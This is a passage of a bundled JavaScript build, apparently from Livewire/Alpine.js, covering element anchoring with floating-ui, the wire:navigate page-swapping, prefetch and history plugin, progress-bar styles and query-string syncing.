        if (firstEntry &amp;&amp; firstEntry.target === referenceEl &amp;&amp; resizeObserver) {
          resizeObserver.unobserve(floating);
          cancelAnimationFrame(reobserveFrame);
          reobserveFrame = requestAnimationFrame(() =&gt; {
            resizeObserver &amp;&amp; resizeObserver.observe(floating);
          });
        }
        update();
      });
      if (referenceEl &amp;&amp; !animationFrame) {
        resizeObserver.observe(referenceEl);
      }
      resizeObserver.observe(floating);
    }
    let frameId;
    let prevRefRect = animationFrame ? getBoundingClientRect(reference) : null;
    if (animationFrame) {
      frameLoop();
    }
    function frameLoop() {
      const nextRefRect = getBoundingClientRect(reference);
      if (prevRefRect &amp;&amp; (nextRefRect.x !== prevRefRect.x || nextRefRect.y !== prevRefRect.y || nextRefRect.width !== prevRefRect.width || nextRefRect.height !== prevRefRect.height)) {
        update();
      }
      prevRefRect = nextRefRect;
      frameId = requestAnimationFrame(frameLoop);
    }
    update();
    return () =&gt; {
      ancestors.forEach((ancestor) =&gt; {
        ancestorScroll &amp;&amp; ancestor.removeEventListener(&quot;scroll&quot;, update);
        ancestorResize &amp;&amp; ancestor.removeEventListener(&quot;resize&quot;, update);
      });
      cleanupIo &amp;&amp; cleanupIo();
      resizeObserver &amp;&amp; resizeObserver.disconnect();
      resizeObserver = null;
      if (animationFrame) {
        cancelAnimationFrame(frameId);
      }
    };
  }
  var computePosition2 = (reference, floating, options) =&gt; {
    const cache = /* @__PURE__ */ new Map();
    const mergedOptions = {
      platform,
      ...options
    };
    const platformWithCache = {
      ...mergedOptions.platform,
      _c: cache
    };
    return computePosition(reference, floating, {
      ...mergedOptions,
      platform: platformWithCache
    });
  };
  function src_default7(Alpine3) {
    Alpine3.magic(&quot;anchor&quot;, (el) =&gt; {
      if (!el._x_anchor)
        throw &quot;Alpine: No x-anchor directive found on element using $anchor...&quot;;
      return el._x_anchor;
    });
    Alpine3.interceptClone((from, to) =&gt; {
      if (from &amp;&amp; from._x_anchor &amp;&amp; !to._x_anchor) {
        to._x_anchor = from._x_anchor;
      }
    });
    Alpine3.directive(&quot;anchor&quot;, Alpine3.skipDuringClone((el, { expression, modifiers, value }, { cleanup: cleanup2, evaluate: evaluate22 }) =&gt; {
      let { placement, offsetValue, unstyled } = getOptions(modifiers);
      el._x_anchor = Alpine3.reactive({ x: 0, y: 0 });
      let reference = evaluate22(expression);
      if (!reference)
        throw &quot;Alpine: no element provided to x-anchor...&quot;;
      let compute = () =&gt; {
        let previousValue;
        computePosition2(reference, el, {
          placement,
          middleware: [flip(), shift({ padding: 5 }), offset(offsetValue)]
        }).then(({ x, y }) =&gt; {
          unstyled || setStyles2(el, x, y);
          if (JSON.stringify({ x, y }) !== previousValue) {
            el._x_anchor.x = x;
            el._x_anchor.y = y;
          }
          previousValue = JSON.stringify({ x, y });
        });
      };
      let release2 = autoUpdate(reference, el, () =&gt; compute());
      cleanup2(() =&gt; release2());
    }, (el, { expression, modifiers, value }, { cleanup: cleanup2, evaluate: evaluate22 }) =&gt; {
      let { placement, offsetValue, unstyled } = getOptions(modifiers);
      if (el._x_anchor) {
        unstyled || setStyles2(el, el._x_anchor.x, el._x_anchor.y);
      }
    }));
  }
  function setStyles2(el, x, y) {
    Object.assign(el.style, {
      left: x + &quot;px&quot;,
      top: y + &quot;px&quot;,
      position: &quot;absolute&quot;
    });
  }
  function getOptions(modifiers) {
    let positions = [&quot;top&quot;, &quot;top-start&quot;, &quot;top-end&quot;, &quot;right&quot;, &quot;right-start&quot;, &quot;right-end&quot;, &quot;bottom&quot;, &quot;bottom-start&quot;, &quot;bottom-end&quot;, &quot;left&quot;, &quot;left-start&quot;, &quot;left-end&quot;];
    let placement = positions.find((i) =&gt; modifiers.includes(i));
    let offsetValue = 0;
    if (modifiers.includes(&quot;offset&quot;)) {
      let idx = modifiers.findIndex((i) =&gt; i === &quot;offset&quot;);
      offsetValue = modifiers[idx + 1] !== void 0 ? Number(modifiers[idx + 1]) : offsetValue;
    }
    let unstyled = modifiers.includes(&quot;no-style&quot;);
    return { placement, offsetValue, unstyled };
  }
  var module_default7 = src_default7;

  // js/plugins/navigate/history.js
  var Snapshot = class {
    constructor(url, html) {
      this.url = url;
      this.html = html;
    }
  };
  var snapshotCache = {
    currentKey: null,
    currentUrl: null,
    keys: [],
    lookup: {},
    limit: 10,
    has(location) {
      return this.lookup[location] !== void 0;
    },
    retrieve(location) {
      let snapshot = this.lookup[location];
      if (snapshot === void 0)
        throw &quot;No back button cache found for current location: &quot; + location;
      return snapshot;
    },
    replace(key, snapshot) {
      if (this.has(key)) {
        this.lookup[key] = snapshot;
      } else {
        this.push(key, snapshot);
      }
    },
    push(key, snapshot) {
      this.lookup[key] = snapshot;
      let index = this.keys.indexOf(key);
      if (index &gt; -1)
        this.keys.splice(index, 1);
      this.keys.unshift(key);
      this.trim();
    },
    trim() {
      for (let key of this.keys.splice(this.limit)) {
        delete this.lookup[key];
      }
    }
  };
  function updateCurrentPageHtmlInHistoryStateForLaterBackButtonClicks() {
    let url = new URL(window.location.href, document.baseURI);
    replaceUrl(url, document.documentElement.outerHTML);
  }
  function updateCurrentPageHtmlInSnapshotCacheForLaterBackButtonClicks(key, url) {
    let html = document.documentElement.outerHTML;
    snapshotCache.replace(key, new Snapshot(url, html));
  }
  function whenTheBackOrForwardButtonIsClicked(registerFallback, handleHtml) {
    let fallback2;
    registerFallback((i) =&gt; fallback2 = i);
    window.addEventListener(&quot;popstate&quot;, (e) =&gt; {
      let state = e.state || {};
      let alpine = state.alpine || {};
      if (Object.keys(state).length === 0)
        return;
      if (!alpine.snapshotIdx)
        return;
      if (snapshotCache.has(alpine.snapshotIdx)) {
        let snapshot = snapshotCache.retrieve(alpine.snapshotIdx);
        handleHtml(snapshot.html, snapshot.url, snapshotCache.currentUrl, snapshotCache.currentKey);
      } else {
        fallback2(alpine.url);
      }
    });
  }
  function updateUrlAndStoreLatestHtmlForFutureBackButtons(html, destination) {
    pushUrl(destination, html);
  }
  function pushUrl(url, html) {
    updateUrl(&quot;pushState&quot;, url, html);
  }
  function replaceUrl(url, html) {
    updateUrl(&quot;replaceState&quot;, url, html);
  }
  function updateUrl(method, url, html) {
    let key = url.toString() + &quot;-&quot; + Math.random();
    method === &quot;pushState&quot; ? snapshotCache.push(key, new Snapshot(url, html)) : snapshotCache.replace(key = snapshotCache.currentKey ?? key, new Snapshot(url, html));
    let state = history.state || {};
    if (!state.alpine)
      state.alpine = {};
    state.alpine.snapshotIdx = key;
    state.alpine.url = url.toString();
    try {
      history[method](state, JSON.stringify(document.title), url);
      snapshotCache.currentKey = key;
      snapshotCache.currentUrl = url;
    } catch (error2) {
      if (error2 instanceof DOMException &amp;&amp; error2.name === &quot;SecurityError&quot;) {
        console.error(&quot;Livewire: You can&#039;t use wire:navigate with a link to a different root domain: &quot; + url);
      }
      console.error(error2);
    }
  }

  // js/plugins/navigate/links.js
  function whenThisLinkIsPressed(el, callback) {
    let isProgrammaticClick = (e) =&gt; !e.isTrusted;
    let isNotPlainLeftClick = (e) =&gt; e.which &gt; 1 || e.altKey || e.ctrlKey || e.metaKey || e.shiftKey;
    let isNotPlainEnterKey = (e) =&gt; e.which !== 13 || e.altKey || e.ctrlKey || e.metaKey || e.shiftKey;
    el.addEventListener(&quot;click&quot;, (e) =&gt; {
      if (isProgrammaticClick(e)) {
        e.preventDefault();
        callback((whenReleased) =&gt; whenReleased());
        return;
      }
      if (isNotPlainLeftClick(e))
        return;
      e.preventDefault();
    });
    el.addEventListener(&quot;mousedown&quot;, (e) =&gt; {
      if (isNotPlainLeftClick(e))
        return;
      e.preventDefault();
      callback((whenReleased) =&gt; {
        let handler4 = (e2) =&gt; {
          e2.preventDefault();
          whenReleased();
          el.removeEventListener(&quot;mouseup&quot;, handler4);
        };
        el.addEventListener(&quot;mouseup&quot;, handler4);
      });
    });
    el.addEventListener(&quot;keydown&quot;, (e) =&gt; {
      if (isNotPlainEnterKey(e))
        return;
      e.preventDefault();
      callback((whenReleased) =&gt; whenReleased());
    });
  }
  function whenThisLinkIsHoveredFor(el, ms = 60, callback) {
    el.addEventListener(&quot;mouseenter&quot;, (e) =&gt; {
      let timeout = setTimeout(() =&gt; {
        callback(e);
      }, ms);
      let handler4 = () =&gt; {
        clearTimeout(timeout);
        el.removeEventListener(&quot;mouseleave&quot;, handler4);
      };
      el.addEventListener(&quot;mouseleave&quot;, handler4);
    });
  }
  function extractDestinationFromLink(linkEl) {
    return createUrlObjectFromString(linkEl.getAttribute(&quot;href&quot;));
  }
  function createUrlObjectFromString(urlString) {
    return urlString !== null &amp;&amp; new URL(urlString, document.baseURI);
  }
  function getUriStringFromUrlObject(urlObject) {
    return urlObject.pathname + urlObject.search + urlObject.hash;
  }

  // js/plugins/navigate/fetch.js
  function fetchHtml(destination, callback) {
    let uri = getUriStringFromUrlObject(destination);
    performFetch(uri, (html, finalDestination) =&gt; {
      callback(html, finalDestination);
    });
  }
  function performFetch(uri, callback) {
    let options = {
      headers: {
        &quot;X-Livewire-Navigate&quot;: &quot;&quot;
      }
    };
    trigger2(&quot;navigate.request&quot;, {
      url: uri,
      options
    });
    let finalDestination;
    fetch(uri, options).then((response) =&gt; {
      let destination = createUrlObjectFromString(uri);
      finalDestination = createUrlObjectFromString(response.url);
      if (destination.pathname + destination.search === finalDestination.pathname + finalDestination.search) {
        finalDestination.hash = destination.hash;
      }
      return response.text();
    }).then((html) =&gt; {
      callback(html, finalDestination);
    });
  }

  // js/plugins/navigate/prefetch.js
  var prefetches = {};
  function prefetchHtml(destination, callback) {
    let uri = getUriStringFromUrlObject(destination);
    if (prefetches[uri])
      return;
    prefetches[uri] = { finished: false, html: null, whenFinished: () =&gt; {
    } };
    performFetch(uri, (html, routedUri) =&gt; {
      callback(html, routedUri);
    });
  }
  function storeThePrefetchedHtmlForWhenALinkIsClicked(html, destination, finalDestination) {
    let state = prefetches[getUriStringFromUrlObject(destination)];
    state.html = html;
    state.finished = true;
    state.finalDestination = finalDestination;
    state.whenFinished();
  }
  function getPretchedHtmlOr(destination, receive, ifNoPrefetchExists) {
    let uri = getUriStringFromUrlObject(destination);
    if (!prefetches[uri])
      return ifNoPrefetchExists();
    if (prefetches[uri].finished) {
      let html = prefetches[uri].html;
      let finalDestination = prefetches[uri].finalDestination;
      delete prefetches[uri];
      return receive(html, finalDestination);
    } else {
      prefetches[uri].whenFinished = () =&gt; {
        let html = prefetches[uri].html;
        let finalDestination = prefetches[uri].finalDestination;
        delete prefetches[uri];
        receive(html, finalDestination);
      };
    }
  }

  // js/plugins/navigate/teleport.js
  function packUpPersistedTeleports(persistedEl) {
    module_default.mutateDom(() =&gt; {
      persistedEl.querySelectorAll(&quot;[data-teleport-template]&quot;).forEach((i) =&gt; i._x_teleport.remove());
    });
  }
  function removeAnyLeftOverStaleTeleportTargets(body) {
    module_default.mutateDom(() =&gt; {
      body.querySelectorAll(&quot;[data-teleport-target]&quot;).forEach((i) =&gt; i.remove());
    });
  }
  function unPackPersistedTeleports(persistedEl) {
    module_default.walk(persistedEl, (el, skip) =&gt; {
      if (!el._x_teleport)
        return;
      el._x_teleportPutBack();
      skip();
    });
  }
  function isTeleportTarget(el) {
    return el.hasAttribute(&quot;data-teleport-target&quot;);
  }

  // js/plugins/navigate/scroll.js
  function storeScrollInformationInHtmlBeforeNavigatingAway() {
    document.body.setAttribute(&quot;data-scroll-x&quot;, document.body.scrollLeft);
    document.body.setAttribute(&quot;data-scroll-y&quot;, document.body.scrollTop);
    document.querySelectorAll([&quot;[x-navigate\\:scroll]&quot;, &quot;[wire\\:scroll]&quot;]).forEach((el) =&gt; {
      el.setAttribute(&quot;data-scroll-x&quot;, el.scrollLeft);
      el.setAttribute(&quot;data-scroll-y&quot;, el.scrollTop);
    });
  }
  function restoreScrollPositionOrScrollToTop() {
    let scroll = (el) =&gt; {
      if (!el.hasAttribute(&quot;data-scroll-x&quot;)) {
        window.scrollTo({ top: 0, left: 0, behavior: &quot;instant&quot; });
      } else {
        el.scrollTo({
          top: Number(el.getAttribute(&quot;data-scroll-y&quot;)),
          left: Number(el.getAttribute(&quot;data-scroll-x&quot;)),
          behavior: &quot;instant&quot;
        });
        el.removeAttribute(&quot;data-scroll-x&quot;);
        el.removeAttribute(&quot;data-scroll-y&quot;);
      }
    };
    queueMicrotask(() =&gt; {
      queueMicrotask(() =&gt; {
        scroll(document.body);
        document.querySelectorAll([&quot;[x-navigate\\:scroll]&quot;, &quot;[wire\\:scroll]&quot;]).forEach(scroll);
      });
    });
  }

  // js/plugins/navigate/persist.js
  var els = {};
  function storePersistantElementsForLater(callback) {
    els = {};
    document.querySelectorAll(&quot;[x-persist]&quot;).forEach((i) =&gt; {
      els[i.getAttribute(&quot;x-persist&quot;)] = i;
      callback(i);
      module_default.mutateDom(() =&gt; {
        i.remove();
      });
    });
  }
  function putPersistantElementsBack(callback) {
    let usedPersists = [];
    document.querySelectorAll(&quot;[x-persist]&quot;).forEach((i) =&gt; {
      let old = els[i.getAttribute(&quot;x-persist&quot;)];
      if (!old)
        return;
      usedPersists.push(i.getAttribute(&quot;x-persist&quot;));
      old._x_wasPersisted = true;
      callback(old, i);
      module_default.mutateDom(() =&gt; {
        i.replaceWith(old);
      });
    });
    Object.entries(els).forEach(([key, el]) =&gt; {
      if (usedPersists.includes(key))
        return;
      module_default.destroyTree(el);
    });
    els = {};
  }
  function isPersistedElement(el) {
    return el.hasAttribute(&quot;x-persist&quot;);
  }

  // js/plugins/navigate/bar.js
  var import_nprogress = __toESM(require_nprogress());
  import_nprogress.default.configure({
    minimum: 0.1,
    trickleSpeed: 200,
    showSpinner: false,
    parent: &quot;body&quot;
  });
  injectStyles();
  var inProgress = false;
  function showAndStartProgressBar() {
    inProgress = true;
    setTimeout(() =&gt; {
      if (!inProgress)
        return;
      import_nprogress.default.start();
    }, 150);
  }
  function finishAndHideProgressBar() {
    inProgress = false;
    import_nprogress.default.done();
  }
  function removeAnyLeftOverStaleProgressBars() {
    import_nprogress.default.remove();
  }
  function injectStyles() {
    let style = document.createElement(&quot;style&quot;);
    style.innerHTML = `/* Make clicks pass-through */

    #nprogress {
      pointer-events: none;
    }

    #nprogress .bar {
      background: var(--livewire-progress-bar-color, #29d);

      position: fixed;
      z-index: 1031;
      top: 0;
      left: 0;

      width: 100%;
      height: 2px;
    }

    /* Fancy blur effect */
    #nprogress .peg {
      display: block;
      position: absolute;
      right: 0px;
      width: 100px;
      height: 100%;
      box-shadow: 0 0 10px var(--livewire-progress-bar-color, #29d), 0 0 5px var(--livewire-progress-bar-color, #29d);
      opacity: 1.0;

      -webkit-transform: rotate(3deg) translate(0px, -4px);
          -ms-transform: rotate(3deg) translate(0px, -4px);
              transform: rotate(3deg) translate(0px, -4px);
    }

    /* Remove these to get rid of the spinner */
    #nprogress .spinner {
      display: block;
      position: fixed;
      z-index: 1031;
      top: 15px;
      right: 15px;
    }

    #nprogress .spinner-icon {
      width: 18px;
      height: 18px;
      box-sizing: border-box;

      border: solid 2px transparent;
      border-top-color: var(--livewire-progress-bar-color, #29d);
      border-left-color: var(--livewire-progress-bar-color, #29d);
      border-radius: 50%;

      -webkit-animation: nprogress-spinner 400ms linear infinite;
              animation: nprogress-spinner 400ms linear infinite;
    }

    .nprogress-custom-parent {
      overflow: hidden;
      position: relative;
    }

    .nprogress-custom-parent #nprogress .spinner,
    .nprogress-custom-parent #nprogress .bar {
      position: absolute;
    }

    @-webkit-keyframes nprogress-spinner {
      0%   { -webkit-transform: rotate(0deg); }
      100% { -webkit-transform: rotate(360deg); }
    }
    @keyframes nprogress-spinner {
      0%   { transform: rotate(0deg); }
      100% { transform: rotate(360deg); }
    }
    `;
    let nonce2 = getNonce();
    if (nonce2)
      style.nonce = nonce2;
    document.head.appendChild(style);
  }

  // js/plugins/navigate/popover.js
  function packUpPersistedPopovers(persistedEl) {
    if (!isPopoverSupported())
      return;
    persistedEl.querySelectorAll(&quot;:popover-open&quot;).forEach((el) =&gt; {
      el.setAttribute(&quot;data-navigate-popover-open&quot;, &quot;&quot;);
      let animations = el.getAnimations();
      el._pausedAnimations = animations.map((animation) =&gt; ({
        keyframes: animation.effect.getKeyframes(),
        options: {
          duration: animation.effect.getTiming().duration,
          easing: animation.effect.getTiming().easing,
          fill: animation.effect.getTiming().fill,
          iterations: animation.effect.getTiming().iterations
        },
        currentTime: animation.currentTime,
        playState: animation.playState
      }));
      animations.forEach((i) =&gt; i.pause());
    });
  }
  function unPackPersistedPopovers(persistedEl) {
    if (!isPopoverSupported())
      return;
    persistedEl.querySelectorAll(&quot;[data-navigate-popover-open]&quot;).forEach((el) =&gt; {
      el.removeAttribute(&quot;data-navigate-popover-open&quot;);
      queueMicrotask(() =&gt; {
        if (!el.isConnected)
          return;
        el.showPopover();
        el.getAnimations().forEach((i) =&gt; i.finish());
        if (el._pausedAnimations) {
          el._pausedAnimations.forEach(({ keyframes, options, currentTime, now, playState }) =&gt; {
            let animation = el.animate(keyframes, options);
            animation.currentTime = currentTime;
          });
          delete el._pausedAnimations;
        }
      });
    });
  }
  function isPopoverSupported() {
    return typeof document.createElement(&quot;div&quot;).showPopover === &quot;function&quot;;
  }

  // js/plugins/navigate/page.js
  var oldBodyScriptTagHashes = [];
  var attributesExemptFromScriptTagHashing = [
    &quot;data-csrf&quot;,
    &quot;aria-hidden&quot;
  ];
  function swapCurrentPageWithNewHtml(html, andThen) {
    let newDocument = new DOMParser().parseFromString(html, &quot;text/html&quot;);
    let newBody = document.adoptNode(newDocument.body);
    let newHead = document.adoptNode(newDocument.head);
    oldBodyScriptTagHashes = oldBodyScriptTagHashes.concat(Array.from(document.body.querySelectorAll(&quot;script&quot;)).map((i) =&gt; {
      return simpleHash(ignoreAttributes(i.outerHTML, attributesExemptFromScriptTagHashing));
    }));
    let afterRemoteScriptsHaveLoaded = () =&gt; {
    };
    mergeNewHead(newHead).finally(() =&gt; {
      afterRemoteScriptsHaveLoaded();
    });
    prepNewBodyScriptTagsToRun(newBody, oldBodyScriptTagHashes);
    let oldBody = document.body;
    document.body.replaceWith(newBody);
    Alpine.destroyTree(oldBody);
    andThen((i) =&gt; afterRemoteScriptsHaveLoaded = i);
  }
  function prepNewBodyScriptTagsToRun(newBody, oldBodyScriptTagHashes2) {
    newBody.querySelectorAll(&quot;script&quot;).forEach((i) =&gt; {
      if (i.hasAttribute(&quot;data-navigate-once&quot;)) {
        let hash = simpleHash(ignoreAttributes(i.outerHTML, attributesExemptFromScriptTagHashing));
        if (oldBodyScriptTagHashes2.includes(hash))
          return;
      }
      i.replaceWith(cloneScriptTag(i));
    });
  }
  function mergeNewHead(newHead) {
    let children = Array.from(document.head.children);
    let headChildrenHtmlLookup = children.map((i) =&gt; i.outerHTML);
    let garbageCollector = document.createDocumentFragment();
    let touchedHeadElements = [];
    let remoteScriptsPromises = [];
    for (let child of Array.from(newHead.children)) {
      if (isAsset(child)) {
        if (!headChildrenHtmlLookup.includes(child.outerHTML)) {
          if (isTracked(child)) {
            if (ifTheQueryStringChangedSinceLastRequest(child, children)) {
              setTimeout(() =&gt; window.location.reload());
            }
          }
          if (isScript(child)) {
            try {
              remoteScriptsPromises.push(injectScriptTagAndWaitForItToFullyLoad(cloneScriptTag(child)));
            } catch (error2) {
            }
          } else {
            document.head.appendChild(child);
          }
        } else {
          garbageCollector.appendChild(child);
        }
        touchedHeadElements.push(child);
      }
    }
    for (let child of Array.from(document.head.children)) {
      if (!isAsset(child))
        child.remove();
    }
    for (let child of Array.from(newHead.children)) {
      document.head.appendChild(child);
    }
    return Promise.all(remoteScriptsPromises);
  }
  async function injectScriptTagAndWaitForItToFullyLoad(script) {
    return new Promise((resolve, reject) =&gt; {
      if (script.src) {
        script.onload = () =&gt; resolve();
        script.onerror = () =&gt; reject();
      } else {
        resolve();
      }
      document.head.appendChild(script);
    });
  }
  function cloneScriptTag(el) {
    let script = document.createElement(&quot;script&quot;);
    script.textContent = el.textContent;
    script.async = el.async;
    for (let attr of el.attributes) {
      script.setAttribute(attr.name, attr.value);
    }
    return script;
  }
  function isTracked(el) {
    return el.hasAttribute(&quot;data-navigate-track&quot;);
  }
  function ifTheQueryStringChangedSinceLastRequest(el, currentHeadChildren) {
    let [uri, queryString] = extractUriAndQueryString(el);
    return currentHeadChildren.some((child) =&gt; {
      if (!isTracked(child))
        return false;
      let [currentUri, currentQueryString] = extractUriAndQueryString(child);
      if (currentUri === uri &amp;&amp; queryString !== currentQueryString)
        return true;
    });
  }
  function extractUriAndQueryString(el) {
    let url = isScript(el) ? el.src : el.href;
    return url.split(&quot;?&quot;);
  }
  function isAsset(el) {
    return el.tagName.toLowerCase() === &quot;link&quot; &amp;&amp; el.getAttribute(&quot;rel&quot;).toLowerCase() === &quot;stylesheet&quot; || el.tagName.toLowerCase() === &quot;style&quot; || el.tagName.toLowerCase() === &quot;script&quot;;
  }
  function isScript(el) {
    return el.tagName.toLowerCase() === &quot;script&quot;;
  }
  function simpleHash(str) {
    return str.split(&quot;&quot;).reduce((a, b) =&gt; {
      a = (a &lt;&lt; 5) - a + b.charCodeAt(0);
      return a &amp; a;
    }, 0);
  }
  function ignoreAttributes(subject, attributesToRemove) {
    let result = subject;
    attributesToRemove.forEach((attr) =&gt; {
      const regex = new RegExp(`${attr}=&quot;[^&quot;]*&quot;|${attr}=&#039;[^&#039;]*&#039;`, &quot;g&quot;);
      result = result.replace(regex, &quot;&quot;);
    });
    result = result.replaceAll(&quot; &quot;, &quot;&quot;);
    return result.trim();
  }

  // js/plugins/navigate/index.js
  var enablePersist = true;
  var showProgressBar = true;
  var restoreScroll = true;
  var autofocus = false;
  function navigate_default(Alpine3) {
    Alpine3.navigate = (url) =&gt; {
      let destination = createUrlObjectFromString(url);
      let prevented = fireEventForOtherLibrariesToHookInto(&quot;alpine:navigate&quot;, {
        url: destination,
        history: false,
        cached: false
      });
      if (prevented)
        return;
      navigateTo(destination);
    };
    Alpine3.navigate.disableProgressBar = () =&gt; {
      showProgressBar = false;
    };
    Alpine3.addInitSelector(() =&gt; `[${Alpine3.prefixed(&quot;navigate&quot;)}]`);
    Alpine3.directive(&quot;navigate&quot;, (el, { modifiers }) =&gt; {
      let shouldPrefetchOnHover = modifiers.includes(&quot;hover&quot;);
      shouldPrefetchOnHover &amp;&amp; whenThisLinkIsHoveredFor(el, 60, () =&gt; {
        let destination = extractDestinationFromLink(el);
        if (!destination)
          return;
        prefetchHtml(destination, (html, finalDestination) =&gt; {
          storeThePrefetchedHtmlForWhenALinkIsClicked(html, destination, finalDestination);
        });
      });
      whenThisLinkIsPressed(el, (whenItIsReleased) =&gt; {
        let destination = extractDestinationFromLink(el);
        if (!destination)
          return;
        prefetchHtml(destination, (html, finalDestination) =&gt; {
          storeThePrefetchedHtmlForWhenALinkIsClicked(html, destination, finalDestination);
        });
        whenItIsReleased(() =&gt; {
          let prevented = fireEventForOtherLibrariesToHookInto(&quot;alpine:navigate&quot;, {
            url: destination,
            history: false,
            cached: false
          });
          if (prevented)
            return;
          navigateTo(destination);
        });
      });
    });
    function navigateTo(destination, shouldPushToHistoryState = true) {
      showProgressBar &amp;&amp; showAndStartProgressBar();
      fetchHtmlOrUsePrefetchedHtml(destination, (html, finalDestination) =&gt; {
        fireEventForOtherLibrariesToHookInto(&quot;alpine:navigating&quot;);
        restoreScroll &amp;&amp; storeScrollInformationInHtmlBeforeNavigatingAway();
        showProgressBar &amp;&amp; finishAndHideProgressBar();
        cleanupAlpineElementsOnThePageThatArentInsideAPersistedElement();
        updateCurrentPageHtmlInHistoryStateForLaterBackButtonClicks();
        preventAlpineFromPickingUpDomChanges(Alpine3, (andAfterAllThis) =&gt; {
          enablePersist &amp;&amp; storePersistantElementsForLater((persistedEl) =&gt; {
            packUpPersistedTeleports(persistedEl);
            packUpPersistedPopovers(persistedEl);
          });
          if (shouldPushToHistoryState) {
            updateUrlAndStoreLatestHtmlForFutureBackButtons(html, finalDestination);
          } else {
            replaceUrl(finalDestination, html);
          }
          swapCurrentPageWithNewHtml(html, (afterNewScriptsAreDoneLoading) =&gt; {
            removeAnyLeftOverStaleTeleportTargets(document.body);
            enablePersist &amp;&amp; putPersistantElementsBack((persistedEl, newStub) =&gt; {
              unPackPersistedTeleports(persistedEl);
              unPackPersistedPopovers(persistedEl);
            });
            restoreScrollPositionOrScrollToTop();
            afterNewScriptsAreDoneLoading(() =&gt; {
              andAfterAllThis(() =&gt; {
                setTimeout(() =&gt; {
                  autofocus &amp;&amp; autofocusElementsWithTheAutofocusAttribute();
                });
                nowInitializeAlpineOnTheNewPage(Alpine3);
                fireEventForOtherLibrariesToHookInto(&quot;alpine:navigated&quot;);
              });
            });
          });
        });
      });
    }
    whenTheBackOrForwardButtonIsClicked((ifThePageBeingVisitedHasntBeenCached) =&gt; {
      ifThePageBeingVisitedHasntBeenCached((url) =&gt; {
        let destination = createUrlObjectFromString(url);
        let prevented = fireEventForOtherLibrariesToHookInto(&quot;alpine:navigate&quot;, {
          url: destination,
          history: true,
          cached: false
        });
        if (prevented)
          return;
        let shouldPushToHistoryState = false;
        navigateTo(destination, shouldPushToHistoryState);
      });
    }, (html, url, currentPageUrl, currentPageKey) =&gt; {
      let destination = createUrlObjectFromString(url);
      let prevented = fireEventForOtherLibrariesToHookInto(&quot;alpine:navigate&quot;, {
        url: destination,
        history: true,
        cached: true
      });
      if (prevented)
        return;
      storeScrollInformationInHtmlBeforeNavigatingAway();
      fireEventForOtherLibrariesToHookInto(&quot;alpine:navigating&quot;);
      updateCurrentPageHtmlInSnapshotCacheForLaterBackButtonClicks(currentPageUrl, currentPageKey);
      preventAlpineFromPickingUpDomChanges(Alpine3, (andAfterAllThis) =&gt; {
        enablePersist &amp;&amp; storePersistantElementsForLater((persistedEl) =&gt; {
          packUpPersistedTeleports(persistedEl);
          packUpPersistedPopovers(persistedEl);
        });
        swapCurrentPageWithNewHtml(html, () =&gt; {
          removeAnyLeftOverStaleProgressBars();
          removeAnyLeftOverStaleTeleportTargets(document.body);
          enablePersist &amp;&amp; putPersistantElementsBack((persistedEl, newStub) =&gt; {
            unPackPersistedTeleports(persistedEl);
            unPackPersistedPopovers(persistedEl);
          });
          restoreScrollPositionOrScrollToTop();
          andAfterAllThis(() =&gt; {
            autofocus &amp;&amp; autofocusElementsWithTheAutofocusAttribute();
            nowInitializeAlpineOnTheNewPage(Alpine3);
            fireEventForOtherLibrariesToHookInto(&quot;alpine:navigated&quot;);
          });
        });
      });
    });
    setTimeout(() =&gt; {
      fireEventForOtherLibrariesToHookInto(&quot;alpine:navigated&quot;);
    });
  }
  function fetchHtmlOrUsePrefetchedHtml(fromDestination, callback) {
    getPretchedHtmlOr(fromDestination, callback, () =&gt; {
      fetchHtml(fromDestination, callback);
    });
  }
  function preventAlpineFromPickingUpDomChanges(Alpine3, callback) {
    Alpine3.stopObservingMutations();
    callback((afterAllThis) =&gt; {
      Alpine3.startObservingMutations();
      queueMicrotask(() =&gt; {
        afterAllThis();
      });
    });
  }
  function fireEventForOtherLibrariesToHookInto(name, detail) {
    let event = new CustomEvent(name, {
      cancelable: true,
      bubbles: true,
      detail
    });
    document.dispatchEvent(event);
    return event.defaultPrevented;
  }
  function nowInitializeAlpineOnTheNewPage(Alpine3) {
    Alpine3.initTree(document.body, void 0, (el, skip) =&gt; {
      if (el._x_wasPersisted)
        skip();
    });
  }
  function autofocusElementsWithTheAutofocusAttribute() {
    document.querySelector(&quot;[autofocus]&quot;) &amp;&amp; document.querySelector(&quot;[autofocus]&quot;).focus();
  }
  function cleanupAlpineElementsOnThePageThatArentInsideAPersistedElement() {
    let walker = function(root, callback) {
      Alpine.walk(root, (el, skip) =&gt; {
        if (isPersistedElement(el))
          skip();
        if (isTeleportTarget(el))
          skip();
        else
          callback(el, skip);
      });
    };
    Alpine.destroyTree(document.body, walker);
  }

  // js/plugins/history/index.js
  function history2(Alpine3) {
    Alpine3.magic(&quot;queryString&quot;, (el, { interceptor: interceptor2 }) =&gt; {
      let alias;
      let alwaysShow = false;
      let usePush = false;
      return interceptor2((initialSeedValue, getter, setter, path, key) =&gt; {
        let queryKey = alias || path;
        let { initial, replace: replace2, push: push2, pop } = track2(queryKey, initialSeedValue, alwaysShow);
        setter(initial);
        if (!usePush) {
          Alpine3.effect(() =&gt; replace2(getter()));
        } else {
          Alpine3.effect(() =&gt; push2(getter()));
          pop(async (newValue) =&gt; {
            setter(newValue);
            let tillTheEndOfTheMicrotaskQueue = () =&gt; Promise.resolve();
            await tillTheEndOfTheMicrotaskQueue();
          });
        }
        return initial;
      }, (func) =&gt; {
        func.alwaysShow = () =&gt; {
          alwaysShow = true;
          return func;
        };
        func.usePush = () =&gt; {
          usePush = true;
          return func;
        };
        func.as = (key) =&gt; {
          alias = key;
          return func;
        };
      });
    });
    Alpine3.history = { track: track2 };
  }
  function track2(name, initialSeedValue, alwaysShow = false, except = null) {
    let { has: has2, get: get3, set: set3, remove } = queryStringUtils();
    let url = new URL(window.location.href);
    let isInitiallyPresentInUrl = has2(url, name);
    let initialValue = isInitiallyPresentInUrl ? get3(url, name) : initialSeedValue;
    let initialValueMemo = JSON.stringify(initialValue);
    let exceptValueMemo = [false, null, void 0].includes(except) ? initialSeedValue : JSON.stringify(except);
    let hasReturnedToInitialValue = (newValue) =&gt; JSON.stringify(newValue) === initialValueMemo;
    let hasReturnedToExceptValue = (newValue) =&gt; JSON.stringify(newValue) === exceptValueMemo;
    if (alwaysShow)
      url = set3(url, name, initialValue);
    replace(url, name, { value: initialValue });
    let lock = false;
    let update = (strategy, newValue) =&gt; {
      if (lock)
        return;
      let url2 = new URL(window.location.href);
      if (!alwaysShow &amp;&amp; !isInitiallyPresentInUrl &amp;&amp; hasReturnedToInitialValue(newValue)) {
        url2 = remove(url2, name);
